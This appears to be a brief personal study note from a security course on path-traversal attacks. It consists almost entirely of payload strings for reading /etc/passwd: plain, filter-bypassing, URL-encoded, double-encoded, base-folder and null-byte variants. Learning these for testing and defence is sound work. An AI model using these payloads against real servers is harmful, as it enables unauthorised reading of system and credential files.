PET4

Path-Traversal

Notes and commands for Path-Traversal.

2025-05-14
Tags coursespet4path-traversal

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

/etc/passwd

1
stripped....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd

url encoded %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%etc%2fpasswd

double url encoded %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

needing req. folder: filename=/var/www/images/../../../etc/passwd

1
sometimes we need specified file extension -> use null byte in the end filename=../../../etc/passwd%00.png